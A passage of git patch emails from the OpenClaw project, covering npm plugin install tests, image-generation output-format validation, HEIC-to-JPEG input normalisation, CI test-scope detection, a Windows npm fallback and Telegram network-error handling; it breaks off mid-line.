}); + + it("allows explicit prerelease npm tags", async () => { + const run = vi.mocked(runCommandWithTimeout); + let packTmpDir = ""; + const packedName = "voice-call-0.0.2-beta.1.tgz"; + const voiceCallArchiveBuffer = VOICE_CALL_ARCHIVE_V1_BUFFER; + run.mockImplementation(async (argv, opts) => { + if (argv[0] === "npm" && argv[1] === "pack") { + packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? "")); + fs.writeFileSync(path.join(packTmpDir, packedName), voiceCallArchiveBuffer); + return { + code: 0, + stdout: JSON.stringify([ + { + id: "@openclaw/voice-call@0.0.2-beta.1", + name: "@openclaw/voice-call", + version: "0.0.2-beta.1", + filename: packedName, + integrity: "sha512-beta", + shasum: "betashasum", + }, + ]), + stderr: "", + signal: null, + killed: false, + termination: "exit", + }; + } + throw new Error(`unexpected command: ${argv.join(" ")}`); + }); + + const { extensionsDir } = await setupVoiceCallArchiveInstall({ + outName: "voice-call-0.0.2-beta.1.tgz", + version: "0.0.1", + }); + const result = await installPluginFromNpmSpec({ + spec: "@openclaw/voice-call@beta", + extensionsDir, + logger: { info: () => {}, warn: () => {} }, + }); + expect(result.ok).toBe(true); + if (!result.ok) { + return; + } + expect(result.npmResolution?.version).toBe("0.0.2-beta.1"); + expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1"); + expectSingleNpmPackIgnoreScriptsCall({ + calls: run.mock.calls, + expectedSpec: "@openclaw/voice-call@beta", + }); + expect(packTmpDir).not.toBe(""); + }); }); From 81f22ae109aebce955722cb2cd3d1cb2d99bb974 Mon Sep 17 00:00:00 2001 From: Mark Zhang Date: Sat, 7 Mar 2026 00:14:30 +0800 Subject: [PATCH 026/844] openai-image-gen: validate and normalize --output-format (#36648) * openai-image-gen: validate and normalize output format * Skills/openai-image-gen: cover output-format edge cases * Changelog: note openai image output format validation --------- Co-authored-by: Vincent Koc --- CHANGELOG.md | 1 + skills/openai-image-gen/scripts/gen.py | 94 +++++++++++++++------ skills/openai-image-gen/scripts/test_gen.py | 44 +++++++++- 3 files changed, 110 insertions(+), 29 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index eca10030625..82d501fa9ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -199,6 +199,7 @@ Docs: https://docs.openclaw.ai - Telegram/Discord media upload caps: make outbound uploads honor channel `mediaMaxMb` config, raise Telegram's default media cap to 100MB, and remove MIME fallback limits that kept some Telegram uploads at 16MB. Thanks @vincentkoc. - Skills/nano-banana-pro resolution override: respect explicit `--resolution` values during image editing and only auto-detect output size from input images when the flag is omitted. (#36880) Thanks @shuofengzhang and @vincentkoc. - Skills/openai-image-gen CLI validation: validate `--background` and `--style` inputs early, normalize supported values, and warn when those flags are ignored for incompatible models. (#36762) Thanks @shuofengzhang and @vincentkoc. +- Skills/openai-image-gen output formats: validate `--output-format` values early, normalize aliases like `jpg -> jpeg`, and warn when the flag is ignored for incompatible models. (#36648) Thanks @shuofengzhang and @vincentkoc. - WhatsApp media upload caps: make outbound media sends and auto-replies honor `channels.whatsapp.mediaMaxMb` with per-account overrides so inbound and outbound limits use the same channel config. Thanks @vincentkoc. ## 2026.3.2 diff --git a/skills/openai-image-gen/scripts/gen.py b/skills/openai-image-gen/scripts/gen.py index b58095add94..2d8c7569016 100644 --- a/skills/openai-image-gen/scripts/gen.py +++ b/skills/openai-image-gen/scripts/gen.py @@ -9,6 +9,7 @@ import re import sys import urllib.error import urllib.request +from collections.abc import Callable from html import escape as html_escape from pathlib import Path @@ -75,46 +76,82 @@ def get_model_defaults(model: str) -> tuple[str, str]: return ("1024x1024", "high") -def normalize_background(model: str, background: str) -> str: - """Validate --background for GPT image models.""" - value = background.strip().lower() +def normalize_optional_flag( + *, + model: str, + raw_value: str, + flag_name: str, + supported: Callable[[str], bool], + allowed: set[str], + allowed_text: str, + unsupported_message: str, + aliases: dict[str, str] | None = None, +) -> str: + """Normalize a string flag, warn when unsupported, and reject invalid values.""" + value = raw_value.strip().lower() if not value: return "" - if not model.startswith("gpt-image"): - print( - f"Warning: --background is only supported for gpt-image models; ignoring for '{model}'.", - file=sys.stderr, - ) + if not supported(model): + print(unsupported_message.format(model=model), file=sys.stderr) return "" - allowed = {"transparent", "opaque", "auto"} + if aliases: + value = aliases.get(value, value) + if value not in allowed: raise ValueError( - f"Invalid --background '{background}'. Allowed values: transparent, opaque, auto." + f"Invalid --{flag_name} '{raw_value}'. Allowed values: {allowed_text}." ) return value +def normalize_background(model: str, background: str) -> str: + """Validate --background for GPT image models.""" + return normalize_optional_flag( + model=model, + raw_value=background, + flag_name="background", + supported=lambda candidate: candidate.startswith("gpt-image"), + allowed={"transparent", "opaque", "auto"}, + allowed_text="transparent, opaque, auto", + unsupported_message=( + "Warning: --background is only supported for gpt-image models; " + "ignoring for '{model}'." + ), + ) + + def normalize_style(model: str, style: str) -> str: """Validate --style for dall-e-3.""" - value = style.strip().lower() - if not value: - return "" + return normalize_optional_flag( + model=model, + raw_value=style, + flag_name="style", + supported=lambda candidate: candidate == "dall-e-3", + allowed={"vivid", "natural"}, + allowed_text="vivid, natural", + unsupported_message=( + "Warning: --style is only supported for dall-e-3; ignoring for '{model}'." + ), + ) - if model != "dall-e-3": - print( - f"Warning: --style is only supported for dall-e-3; ignoring for '{model}'.", - file=sys.stderr, - ) - return "" - allowed = {"vivid", "natural"} - if value not in allowed: - raise ValueError( - f"Invalid --style '{style}'. Allowed values for dall-e-3: vivid, natural." - ) - return value +def normalize_output_format(model: str, output_format: str) -> str: + """Normalize output format for GPT image models and validate allowed values.""" + return normalize_optional_flag( + model=model, + raw_value=output_format, + flag_name="output-format", + supported=lambda candidate: candidate.startswith("gpt-image"), + allowed={"png", "jpeg", "webp"}, + allowed_text="png, jpeg, webp", + unsupported_message=( + "Warning: --output-format is only supported for gpt-image models; " + "ignoring for '{model}'." + ), + aliases={"jpg": "jpeg"}, + ) def request_images( @@ -239,13 +276,14 @@ def main() -> int: try: normalized_background = normalize_background(args.model, args.background) normalized_style = normalize_style(args.model, args.style) + normalized_output_format = normalize_output_format(args.model, args.output_format) except ValueError as e: print(str(e), file=sys.stderr) return 2 # Determine file extension based on output format - if args.model.startswith("gpt-image") and args.output_format: - file_ext = args.output_format + if args.model.startswith("gpt-image") and normalized_output_format: + file_ext = normalized_output_format else: file_ext = "png" @@ -259,7 +297,7 @@ def main() -> int: size, quality, normalized_background, - args.output_format, + normalized_output_format, normalized_style, ) data = res.get("data", [{}])[0] diff --git a/skills/openai-image-gen/scripts/test_gen.py b/skills/openai-image-gen/scripts/test_gen.py index ae1869dce7b..76445c0bb78 100644 --- a/skills/openai-image-gen/scripts/test_gen.py +++ b/skills/openai-image-gen/scripts/test_gen.py @@ -4,7 +4,12 @@ import tempfile from pathlib import Path import pytest -from gen import normalize_background, normalize_style, write_gallery +from gen import ( + normalize_background, + normalize_output_format, + normalize_style, + write_gallery, +) def test_normalize_background_allows_empty_for_non_gpt_models(): @@ -55,6 +60,43 @@ def test_normalize_style_rejects_invalid_values(): normalize_style("dall-e-3", "cinematic") +def test_normalize_output_format_allows_empty_for_non_gpt_models(): + assert normalize_output_format("dall-e-3", "jpeg") == "" + + +def test_normalize_output_format_allows_empty_for_gpt_models(): + assert normalize_output_format("gpt-image-1", "") == "" + assert normalize_output_format("gpt-image-1", " ") == "" + + +def test_normalize_output_format_warns_when_model_does_not_support_flag(capsys): + assert normalize_output_format("dall-e-3", "jpeg") == "" + captured = capsys.readouterr() + assert "--output-format is only supported for gpt-image models" in captured.err + + +def test_normalize_output_format_normalizes_case_for_supported_values(): + assert normalize_output_format("gpt-image-1", "PNG") == "png" + assert normalize_output_format("gpt-image-1", "WEBP") == "webp" + + +def test_normalize_output_format_strips_whitespace_for_supported_values(): + assert normalize_output_format("gpt-image-1", " png ") == "png" +def test_normalize_output_format_keeps_supported_values(): + assert normalize_output_format("gpt-image-1", "png") == "png" + assert normalize_output_format("gpt-image-1", "jpeg") == "jpeg" + assert normalize_output_format("gpt-image-1", "webp") == "webp" + + +def test_normalize_output_format_normalizes_jpg_alias(): + assert normalize_output_format("gpt-image-1", "jpg") == "jpeg" + + +def test_normalize_output_format_rejects_invalid_values(): + with pytest.raises(ValueError, match="Invalid --output-format"): + normalize_output_format("gpt-image-1", "svg") + + def test_write_gallery_escapes_prompt_xss(): with tempfile.TemporaryDirectory() as tmpdir: out = Path(tmpdir) From 9aceb513795c8f18a294d0aba7d6e9fa8bd3064b Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 11:19:36 -0500 Subject: [PATCH 027/844] Gateway: normalize HEIC input_image sources (#38122) * Media: normalize HEIC input images * Gateway: accept HEIC image input schema * Media: add HEIC input normalization tests * Gateway: cover HEIC input schema parity * Docs: document HEIC input image support * Changelog: note HEIC input image fix --- CHANGELOG.md | 1 + docs/gateway/openresponses-http-api.md | 10 ++- src/gateway/open-responses.schema.ts | 9 ++- src/gateway/openresponses-parity.test.ts | 14 +++++ src/media/input-files.fetch-guard.test.ts | 76 ++++++++++++++++++++++- src/media/input-files.ts | 66 +++++++++++++++++--- 6 files changed, 163 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 82d501fa9ec..370ed4eaaf6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -137,6 +137,7 @@ Docs: https://docs.openclaw.ai - Discord/voice messages: request upload slots with JSON fetch calls so voice message uploads no longer fail with content-type errors. Thanks @thewilloftheshadow. - Discord/voice decoder fallback: drop the native Opus dependency and use opusscript for voice decoding to avoid native-opus installs. Thanks @thewilloftheshadow. - Discord/auto presence health signal: add runtime availability-driven presence updates plus connected-state reporting to improve health monitoring and operator visibility. (#33277) Thanks @thewilloftheshadow. +- HEIC image inputs: accept HEIC/HEIF `input_image` sources in Gateway HTTP APIs, normalize them to JPEG before provider delivery, and document the expanded default MIME allowlist. Thanks @vincentkoc. - Telegram/draft-stream boundary stability: materialize DM draft previews at assistant-message/tool boundaries, serialize lane-boundary callbacks before final delivery, and scope preview cleanup to the active preview so multi-step Telegram streams no longer lose, overwrite, or leave stale preview bubbles. (#33842) Thanks @ngutman. - Telegram/DM draft finalization reliability: require verified final-text draft emission before treating preview finalization as delivered, and fall back to normal payload send when final draft delivery is not confirmed (preventing missing final responses and preserving media/button delivery). (#32118) Thanks @OpenCils. - Telegram/DM draft final delivery: materialize text-only `sendMessageDraft` previews into one permanent final message and skip duplicate final payload sends, while preserving fallback behavior when materialization fails. (#34318) Thanks @Brotherinlaw-13. diff --git a/docs/gateway/openresponses-http-api.md b/docs/gateway/openresponses-http-api.md index d62cc8edb59..b5b4045ac62 100644 --- a/docs/gateway/openresponses-http-api.md +++ b/docs/gateway/openresponses-http-api.md @@ -242,7 +242,14 @@ Defaults can be tuned under `gateway.http.endpoints.responses`: images: { allowUrl: true, urlAllowlist: ["images.example.com"], - allowedMimes: ["image/jpeg", "image/png", "image/gif", "image/webp"], + allowedMimes: [ + "image/jpeg", + "image/png", + "image/gif", + "image/webp", + "image/heic", + "image/heif", + ], maxBytes: 10485760, maxRedirects: 3, timeoutMs: 10000, @@ -268,6 +275,7 @@ Defaults when omitted: - `images.maxBytes`: 10MB - `images.maxRedirects`: 3 - `images.timeoutMs`: 10s +- HEIC/HEIF `input_image` sources are accepted and normalized to JPEG before provider delivery. Security note: diff --git a/src/gateway/open-responses.schema.ts b/src/gateway/open-responses.schema.ts index e07288610fb..ca23f8de235 100644 --- a/src/gateway/open-responses.schema.ts +++ b/src/gateway/open-responses.schema.ts @@ -35,7 +35,14 @@ export const InputImageSourceSchema = z.discriminatedUnion("type", [ }), z.object({ type: z.literal("base64"), - media_type: z.enum(["image/jpeg", "image/png", "image/gif", "image/webp"]), + media_type: z.enum([ + "image/jpeg", + "image/png", + "image/gif", + "image/webp", + "image/heic", + "image/heif", + ]), data: z.string().min(1), // base64-encoded }), ]); diff --git a/src/gateway/openresponses-parity.test.ts b/src/gateway/openresponses-parity.test.ts index 3e4b2dc535b..c69a4206754 100644 --- a/src/gateway/openresponses-parity.test.ts +++ b/src/gateway/openresponses-parity.test.ts @@ -54,6 +54,20 @@ describe("OpenResponses Feature Parity", () => { expect(result.success).toBe(true); }); + it("should validate input_image with HEIC base64 source", async () => { + const validImage = { + type: "input_image" as const, + source: { + type: "base64" as const, + media_type: "image/heic" as const, + data: "aGVpYy1pbWFnZQ==", + }, + }; + + const result = InputImageContentPartSchema.safeParse(validImage); + expect(result.success).toBe(true); + }); + it("should reject input_image with invalid mime type", async () => { const invalidImage = { type: "input_image" as const, diff --git a/src/media/input-files.fetch-guard.test.ts b/src/media/input-files.fetch-guard.test.ts index 64f8377bcfd..6d83738c73a 100644 --- a/src/media/input-files.fetch-guard.test.ts +++ b/src/media/input-files.fetch-guard.test.ts @@ -1,11 +1,16 @@ -import { beforeAll, describe, expect, it, vi } from "vitest"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; const fetchWithSsrFGuardMock = vi.fn(); +const convertHeicToJpegMock = vi.fn(); vi.mock("../infra/net/fetch-guard.js", () => ({ fetchWithSsrFGuard: (...args: unknown[]) => fetchWithSsrFGuardMock(...args), })); +vi.mock("./image-ops.js", () => ({ + convertHeicToJpeg: (...args: unknown[]) => convertHeicToJpegMock(...args), +})); + async function waitForMicrotaskTurn(): Promise { await new Promise((resolve) => queueMicrotask(resolve)); } @@ -19,6 +24,75 @@ beforeAll(async () => { await import("./input-files.js")); }); +beforeEach(() => { + vi.clearAllMocks(); +}); + +describe("HEIC input image normalization", () => { + it("converts base64 HEIC images to JPEG before returning them", async () => { + const normalized = Buffer.from("jpeg-normalized"); + convertHeicToJpegMock.mockResolvedValueOnce(normalized); + + const image = await extractImageContentFromSource( + { + type: "base64", + data: Buffer.from("heic-source").toString("base64"), + mediaType: "image/heic", + }, + { + allowUrl: false, + allowedMimes: new Set(["image/heic", "image/jpeg"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1, + }, + ); + + expect(convertHeicToJpegMock).toHaveBeenCalledTimes(1); + expect(image).toEqual({ + type: "image", + data: normalized.toString("base64"), + mimeType: "image/jpeg", + }); + }); + + it("converts URL HEIC images to JPEG before returning them", async () => { + const release = vi.fn(async () => {}); + fetchWithSsrFGuardMock.mockResolvedValueOnce({ + response: new Response(Buffer.from("heic-url-source"), { + status: 200, + headers: { "content-type": "image/heic" }, + }), + release, + finalUrl: "https://example.com/photo.heic", + }); + const normalized = Buffer.from("jpeg-url-normalized"); + convertHeicToJpegMock.mockResolvedValueOnce(normalized); + + const image = await extractImageContentFromSource( + { + type: "url", + url: "https://example.com/photo.heic", + }, + { + allowUrl: true, + allowedMimes: new Set(["image/heic", "image/jpeg"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1000, + }, + ); + + expect(convertHeicToJpegMock).toHaveBeenCalledTimes(1); + expect(image).toEqual({ + type: "image", + data: normalized.toString("base64"), + mimeType: "image/jpeg", + }); + expect(release).toHaveBeenCalledTimes(1); + }); +}); + describe("fetchWithGuard", () => { it("rejects oversized streamed payloads and cancels the stream", async () => { let canceled = false; diff --git a/src/media/input-files.ts b/src/media/input-files.ts index 11e7a917857..dcf3cd5872d 100644 --- a/src/media/input-files.ts +++ b/src/media/input-files.ts @@ -2,6 +2,8 @@ import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js"; import type { SsrFPolicy } from "../infra/net/ssrf.js"; import { logWarn } from "../logger.js"; import { canonicalizeBase64, estimateBase64DecodedBytes } from "./base64.js"; +import { convertHeicToJpeg } from "./image-ops.js"; +import { detectMime } from "./mime.js"; import { extractPdfContent, type PdfExtractedImage } from "./pdf-extract.js"; import { readResponseWithLimit } from "./read-response-with-limit.js"; @@ -85,7 +87,14 @@ export type InputFetchResult = { contentType?: string; }; -export const DEFAULT_INPUT_IMAGE_MIMES = ["image/jpeg", "image/png", "image/gif", "image/webp"]; +export const DEFAULT_INPUT_IMAGE_MIMES = [ + "image/jpeg", + "image/png", + "image/gif", + "image/webp", + "image/heic", + "image/heif", +]; export const DEFAULT_INPUT_FILE_MIMES = [ "text/plain", "text/markdown", @@ -102,6 +111,8 @@ export const DEFAULT_INPUT_TIMEOUT_MS = 10_000; export const DEFAULT_INPUT_PDF_MAX_PAGES = 4; export const DEFAULT_INPUT_PDF_MAX_PIXELS = 4_000_000; export const DEFAULT_INPUT_PDF_MIN_TEXT_CHARS = 200; +const NORMALIZED_INPUT_IMAGE_MIME = "image/jpeg"; +const HEIC_INPUT_IMAGE_MIMES = new Set(["image/heic", "image/heif"]); function rejectOversizedBase64Payload(params: { data: string; @@ -218,6 +229,40 @@ function clampText(text: string, maxChars: number): string { return text.slice(0, maxChars); } +async function normalizeInputImage(params: { + buffer: Buffer; + mimeType?: string; + limits: InputImageLimits; +}): Promise { + const sourceMime = + normalizeMimeType(await detectMime({ buffer: params.buffer, headerMime: params.mimeType })) ?? + normalizeMimeType(params.mimeType) ?? + "application/octet-stream"; + if (!params.limits.allowedMimes.has(sourceMime)) { + throw new Error(`Unsupported image MIME type: ${sourceMime}`); + } + + if (!HEIC_INPUT_IMAGE_MIMES.has(sourceMime)) { + return { + type: "image", + data: params.buffer.toString("base64"), + mimeType: sourceMime, + }; + } + + const normalizedBuffer = await convertHeicToJpeg(params.buffer); + if (normalizedBuffer.byteLength > params.limits.maxBytes) { + throw new Error( + `Image too large after HEIC conversion: ${normalizedBuffer.byteLength} bytes (limit: ${params.limits.maxBytes} bytes)`, + ); + } + return { + type: "image", + data: normalizedBuffer.toString("base64"), + mimeType: NORMALIZED_INPUT_IMAGE_MIME, + }; +} + export async function extractImageContentFromSource( source: InputImageSource, limits: InputImageLimits, @@ -228,17 +273,17 @@ export async function extractImageContentFromSource( if (!canonicalData) { throw new Error("input_image base64 source has invalid 'data' field"); } - const mimeType = normalizeMimeType(source.mediaType) ?? "image/png"; - if (!limits.allowedMimes.has(mimeType)) { - throw new Error(`Unsupported image MIME type: ${mimeType}`); - } const buffer = Buffer.from(canonicalData, "base64"); if (buffer.byteLength > limits.maxBytes) { throw new Error( `Image too large: ${buffer.byteLength} bytes (limit: ${limits.maxBytes} bytes)`, ); } - return { type: "image", data: canonicalData, mimeType }; + return await normalizeInputImage({ + buffer, + mimeType: normalizeMimeType(source.mediaType) ?? "image/png", + limits, + }); } if (source.type === "url") { @@ -256,10 +301,11 @@ export async function extractImageContentFromSource( }, auditContext: "openresponses.input_image", }); - if (!limits.allowedMimes.has(result.mimeType)) { - throw new Error(`Unsupported image MIME type from URL: ${result.mimeType}`); - } - return { type: "image", data: result.buffer.toString("base64"), mimeType: result.mimeType }; + return await normalizeInputImage({ + buffer: result.buffer, + mimeType: result.mimeType, + limits, + }); } throw new Error(`Unsupported input_image source type: ${(source as { type: string }).type}`); From 6a9deb21b8a0f3c1e8e7d24f22ed5303ca70aae7 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 11:20:28 -0500 Subject: [PATCH 028/844] CI: cover skill and extension tests --- .github/workflows/ci.yml | 6 ++++- scripts/ci-changed-scope.mjs | 35 ++++++++++++++++++++++++---- src/scripts/ci-changed-scope.test.ts | 20 ++++++++++++++++ 3 files changed, 55 insertions(+), 6 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 574f9fe8c08..9aa81b81306 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -39,6 +39,7 @@ jobs: run_node: ${{ steps.scope.outputs.run_node }} run_macos: ${{ steps.scope.outputs.run_macos }} run_android: ${{ steps.scope.outputs.run_android }} + run_skills_python: ${{ steps.scope.outputs.run_skills_python }} run_windows: ${{ steps.scope.outputs.run_windows }} steps: - name: Checkout @@ -125,6 +126,9 @@ jobs: - runtime: node task: test command: pnpm canvas:a2ui:bundle && pnpm test + - runtime: node + task: extensions + command: pnpm test:extensions - runtime: node task: protocol command: pnpm protocol:check @@ -250,7 +254,7 @@ jobs: skills-python: needs: [docs-scope, changed-scope] - if: needs.docs-scope.outputs.docs_only != 'true' && (github.event_name == 'push' || needs.changed-scope.outputs.run_node == 'true') + if: needs.docs-scope.outputs.docs_only != 'true' && (github.event_name == 'push' || needs.changed-scope.outputs.run_node == 'true' || needs.changed-scope.outputs.run_skills_python == 'true') runs-on: blacksmith-16vcpu-ubuntu-2404 steps: - name: Checkout diff --git a/scripts/ci-changed-scope.mjs b/scripts/ci-changed-scope.mjs index ee9e66421d6..a4018b30a2c 100644 --- a/scripts/ci-changed-scope.mjs +++ b/scripts/ci-changed-scope.mjs @@ -1,9 +1,10 @@ import { execFileSync } from "node:child_process"; import { appendFileSync } from "node:fs"; -/** @typedef {{ runNode: boolean; runMacos: boolean; runAndroid: boolean; runWindows: boolean }} ChangedScope */ +/** @typedef {{ runNode: boolean; runMacos: boolean; runAndroid: boolean; runWindows: boolean; runSkillsPython: boolean }} ChangedScope */ const DOCS_PATH_RE = /^(docs\/|.*\.mdx?$)/; +const SKILLS_PYTHON_SCOPE_RE = /^skills\//; const MACOS_PROTOCOL_GEN_RE = /^(apps\/macos\/Sources\/OpenClawProtocol\/|apps\/shared\/OpenClawKit\/Sources\/OpenClawProtocol\/)/; const MACOS_NATIVE_RE = /^(apps\/macos\/|apps\/ios\/|apps\/shared\/|Swabble\/)/; @@ -21,13 +22,20 @@ const NATIVE_ONLY_RE = */ export function detectChangedScope(changedPaths) { if (!Array.isArray(changedPaths) || changedPaths.length === 0) { - return { runNode: true, runMacos: true, runAndroid: true, runWindows: true }; + return { + runNode: true, + runMacos: true, + runAndroid: true, + runWindows: true, + runSkillsPython: true, + }; } let runNode = false; let runMacos = false; let runAndroid = false; let runWindows = false; + let runSkillsPython = false; let hasNonDocs = false; let hasNonNativeNonDocs = false; @@ -43,6 +51,10 @@ export function detectChangedScope(changedPaths) { hasNonDocs = true; + if (SKILLS_PYTHON_SCOPE_RE.test(path)) { + runSkillsPython = true; + } + if (!MACOS_PROTOCOL_GEN_RE.test(path) && MACOS_NATIVE_RE.test(path)) { runMacos = true; } @@ -68,7 +80,7 @@ export function detectChangedScope(changedPaths) { runNode = true; } - return { runNode, runMacos, runAndroid, runWindows }; + return { runNode, runMacos, runAndroid, runWindows, runSkillsPython }; } /** @@ -102,6 +114,7 @@ export function writeGitHubOutput(scope, outputPath = process.env.GITHUB_OUTPUT) appendFileSync(outputPath, `run_macos=${scope.runMacos}\n`, "utf8"); appendFileSync(outputPath, `run_android=${scope.runAndroid}\n`, "utf8"); appendFileSync(outputPath, `run_windows=${scope.runWindows}\n`, "utf8"); + appendFileSync(outputPath, `run_skills_python=${scope.runSkillsPython}\n`, "utf8"); } function isDirectRun() { @@ -131,11 +144,23 @@ if (isDirectRun()) { try { const changedPaths = listChangedPaths(args.base, args.head); if (changedPaths.length === 0) { - writeGitHubOutput({ runNode: true, runMacos: true, runAndroid: true, runWindows: true }); + writeGitHubOutput({ + runNode: true, + runMacos: true, + runAndroid: true, + runWindows: true, + runSkillsPython: true, + }); process.exit(0); } writeGitHubOutput(detectChangedScope(changedPaths)); } catch { - writeGitHubOutput({ runNode: true, runMacos: true, runAndroid: true, runWindows: true }); + writeGitHubOutput({ + runNode: true, + runMacos: true, + runAndroid: true, + runWindows: true, + runSkillsPython: true, + }); } } diff --git a/src/scripts/ci-changed-scope.test.ts b/src/scripts/ci-changed-scope.test.ts index bd5c213bd12..358dbfc472c 100644 --- a/src/scripts/ci-changed-scope.test.ts +++ b/src/scripts/ci-changed-scope.test.ts @@ -10,6 +10,7 @@ const { detectChangedScope, listChangedPaths } = runMacos: boolean; runAndroid: boolean; runWindows: boolean; + runSkillsPython: boolean; }; listChangedPaths: (base: string, head?: string) => string[]; }; @@ -32,6 +33,7 @@ describe("detectChangedScope", () => { runMacos: true, runAndroid: true, runWindows: true, + runSkillsPython: true, }); }); @@ -41,6 +43,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, }); }); @@ -50,6 +53,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: true, + runSkillsPython: false, }); }); @@ -59,12 +63,14 @@ describe("detectChangedScope", () => { runMacos: true, runAndroid: false, runWindows: false, + runSkillsPython: false, }); expect(detectChangedScope(["apps/shared/OpenClawKit/Sources/Foo.swift"])).toEqual({ runNode: false, runMacos: true, runAndroid: true, runWindows: false, + runSkillsPython: false, }); }); @@ -75,6 +81,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, }, ); }); @@ -85,6 +92,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, }); expect(detectChangedScope(["assets/icon.png"])).toEqual({ @@ -92,6 +100,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, }); }); @@ -101,6 +110,17 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, + }); + }); + + it("runs Python skill tests when skills change", () => { + expect(detectChangedScope(["skills/openai-image-gen/scripts/test_gen.py"])).toEqual({ + runNode: true, + runMacos: false, + runAndroid: false, + runWindows: false, + runSkillsPython: true, }); }); From d000316d1901a802f06a77bc8d1ddf52aa504012 Mon Sep 17 00:00:00 2001 From: 0xlin2023 Date: Fri, 6 Mar 2026 23:01:52 +0800 Subject: [PATCH 029/844] fix: Windows: openclaw plugins install fails with spawn EINVAL Fixes #7631 --- src/process/exec.test.ts | 15 +++++++++++++++ src/process/exec.ts | 8 +++++++- 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/src/process/exec.test.ts b/src/process/exec.test.ts index 6f2c3640c11..19937d6cb32 100644 --- a/src/process/exec.test.ts +++ b/src/process/exec.test.ts @@ -1,5 +1,6 @@ import type { ChildProcess } from "node:child_process"; import { EventEmitter } from "node:events"; +import fs from "node:fs"; import process from "node:process"; import { describe, expect, it, vi } from "vitest"; import { attachChildProcessBridge } from "./child-process-bridge.js"; @@ -77,6 +78,20 @@ describe("runCommandWithTimeout", () => { expect(result.stdout.trim()).toMatch(/^\d+\.\d+\.\d+$/); }, ); + + it.runIf(process.platform === "win32")( + "falls back to npm.cmd when npm-cli.js is unavailable", + async () => { + const existsSpy = vi.spyOn(fs, "existsSync").mockReturnValue(false); + try { + const result = await runCommandWithTimeout(["npm", "--version"], { timeoutMs: 10_000 }); + expect(result.code).toBe(0); + expect(result.stdout.trim()).toMatch(/^\d+\.\d+\.\d+$/); + } finally { + existsSpy.mockRestore(); + } + }, + ); }); describe("attachChildProcessBridge", () => { diff --git a/src/process/exec.ts b/src/process/exec.ts index ef6b707fbe6..ddc572092d8 100644 --- a/src/process/exec.ts +++ b/src/process/exec.ts @@ -58,7 +58,13 @@ function resolveNpmArgvForWindows(argv: string[]): string[] | null { const nodeDir = path.dirname(process.execPath); const cliPath = path.join(nodeDir, "node_modules", "npm", "bin", cliName); if (!fs.existsSync(cliPath)) { - return null; + // Bun-based runs don't ship npm-cli.js next to process.execPath. + // Fall back to npm.cmd/npx.cmd so we still route through cmd wrapper + // (avoids direct .cmd spawn EINVAL on patched Node). + const command = argv[0] ?? ""; + const ext = path.extname(command).toLowerCase(); + const shimmedCommand = ext ? command : `${command}.cmd`; + return [shimmedCommand, ...argv.slice(1)]; } return [process.execPath, cliPath, ...argv.slice(1)]; } From e6bf69b3663c627614391fa34960e579e0de26df Mon Sep 17 00:00:00 2001 From: 0xlin2023 Date: Fri, 6 Mar 2026 23:43:30 +0800 Subject: [PATCH 030/844] fix: Telegram API requests fail with Network request failed after Fixes #28835 --- src/telegram/network-errors.test.ts | 16 +++++++++++++++- src/telegram/network-errors.ts | 5 +++++ src/telegram/send.test.ts | 23 +++++++++++++++++++++++ 3 files changed, 43 insertions(+), 1 deletion(-) diff --git a/src/telegram/network-errors.test.ts b/src/telegram/network-errors.test.ts index b92081a8284..c7206305b04 100644 --- a/src/telegram/network-errors.test.ts +++ b/src/telegram/network-errors.test.ts @@ -40,7 +40,7 @@ describe("isRecoverableTelegramNetworkError", () => { }); it("skips broad message matches for send context", () => { - const networkRequestErr = new Error("Network request for 'sendMessage' failed!"); + const networkRequestErr = new Error("Network request for 'sendMessage' timed out!"); expect(isRecoverableTelegramNetworkError(networkRequestErr, { context: "send" })).toBe(false); expect(isRecoverableTelegramNetworkError(networkRequestErr, { context: "polling" })).toBe(true); @@ -49,6 +49,20 @@ describe("isRecoverableTelegramNetworkError", () => { expect(isRecoverableTelegramNetworkError(undiciSnippetErr, { context: "polling" })).toBe(true); }); + it("treats grammY network envelope errors as recoverable in send context", () => { + expect( + isRecoverableTelegramNetworkError(new Error("Network request for 'sendMessage' failed!"), { + context: "send", + }), + ).toBe(true); + expect( + isRecoverableTelegramNetworkError( + new Error("Network request for 'sendMessage' failed after 2 attempts."), + { context: "send" }, + ), + ).toBe(true); + }); + it("returns false for unrelated errors", () => { expect(isRecoverableTelegramNetworkError(new Error("invalid token"))).toBe(false); }); diff --git a/src/telegram/network-errors.ts b/src/telegram/network-errors.ts index f9b7061dd61..7413a20e9d2 100644 --- a/src/telegram/network-errors.ts +++ b/src/telegram/network-errors.ts @@ -33,6 +33,8 @@ const RECOVERABLE_ERROR_NAMES = new Set([ ]); const ALWAYS_RECOVERABLE_MESSAGES = new Set(["fetch failed", "typeerror: fetch failed"]); +const GRAMMY_NETWORK_REQUEST_FAILED_RE = + /^network request(?:\s+for\s+["']?[^"']+["']?)?\s+failed(?:\s+after\b.*)?[!.]?$/i; const RECOVERABLE_MESSAGE_SNIPPETS = [ "undici", @@ -106,6 +108,9 @@ export function isRecoverableTelegramNetworkError( if (message 